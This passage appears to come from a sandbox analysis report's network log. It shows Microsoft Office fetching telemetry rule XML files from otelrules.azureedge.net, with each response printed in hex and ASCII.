2024-10-29 19:38:14 UTC	16384	IN	Data Raw: 3d 22 46 6c 79 6f 75 74 56 69 64 65 6f 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 56 69 64 65 6f 43 61 6c 6c 56 69 64 65 6f 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 36 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 33 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 53 61 53 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 Data Ascii: ="FlyoutVideo"> <C> <S T="25" /> </C> </C> <C T="U32" I="22" O="false" N="FlyoutVideoCallVideo"> <C> <S T="26" /> </C> </C> <C T="U32" I="23" O="false" N="FlyoutSaS"> <C> <S T="27" /> </C>
2024-10-29 19:38:14 UTC	16384	IN	Data Raw: 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 39 30 37 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 39 30 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 4e 44 42 2e 55 6e 6b 6e 6f 77 6e 2e 43 6f 72 72 75 70 74 69 6f 6e 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 53 Data Ascii: > <T> <S T="1" /> </T></R><$!#>10907v0+<?xml version="1.0" encoding="utf-8"?><R Id="10907" V="0" DC="SM" EN="Office.Outlook.Desktop.NDB.Unknown.Corruption" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" S
2024-10-29 19:38:15 UTC	16384	IN	Data Raw: 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 31 22 20 49 3d 22 44 61 69 6c 79 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 33 22 20 49 64 3d 22 62 70 66 79 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 34 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 50 68 6f 74 6f 53 69 7a 65 49 6e 42 79 74 65 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: 813" DCa="PSU" xmlns=""> <S> <TI T="1" I="Daily" /> <A T="2" E="TelemetryShutdown" /> <UTS T="3" Id="bpfy1" /> <F T="4"> <O T="GT"> <L> <S T="3" F="PhotoSizeInBytes" /> </L> <R>
2024-10-29 19:38:15 UTC	16384	IN	Data Raw: 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 35 22 20 49 64 3d 22 62 75 6b 30 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 65 76 65 6e 74 49 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 33 35 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c Data Ascii: " /> <UTS T="5" Id="buk0m" /> <F T="6"> <O T="EQ"> <L> <S T="4" F="eventId" /> </L> <R> <V V="135" T="I32" /> </R> </O> </F> <F T="7"> <O T="EQ"> <
2024-10-29 19:38:15 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 31 30 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 46 69 6c 65 50 72 6f 74 65 63 74 69 6f 6e 53 74 61 74 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 35 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d Data Ascii: <R> <V V="4" T="U32" /> </R> </O> </F> <F T="10"> <O T="EQ"> <L> <S T="3" F="FileProtectionState" /> </L> <R> <V V="5" T="U32" /> </R> </O>
2024-10-29 19:38:15 UTC	16384	IN	Data Raw: 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 72 65 73 75 6c 74 73 5f 49 73 4e 75 6c 6c 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: D"> <L> <O T="EQ"> <L> <S T="5" F="results_IsNull" /> </L> <R> <V V="false" T="B" /> </R> </O>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:14 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:14 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 548bc1da-901e-0067-71ad-29b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193814Z-r197bdfb6b48pcqqxhenwd2uz800000007t000000000kdq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:14 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:14 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193814Z-16849878b78wc6ln1zsrz6q9w800000006p000000000g6ga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:14 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:14 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:14 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193814Z-16849878b78j5kdg3dndgqw0vg00000008r000000000brfv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:14 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:14 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:14 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193814Z-16849878b78xblwksrnkakc08w000000064000000000ycey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:14 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:14 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:14 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 22a25694-101e-007a-3b3f-26047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193814Z-17c5cb586f64v7xsc2ahm8gsgw00000001z0000000009m6v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:15 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193815Z-15b8d89586ffsjj9qb0gmb1stn0000000b5g00000000bks7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:15 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:15 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: b03cb643-601e-0050-56bd-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193815Z-17c5cb586f6hhlf5mrwgq3erx800000008eg0000000039zy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:15 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:15 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:15 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 23a04ebb-601e-003d-38e0-286f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193815Z-15b8d89586fqj7k5h9gbd8vs98000000086g000000006ved x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:15 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
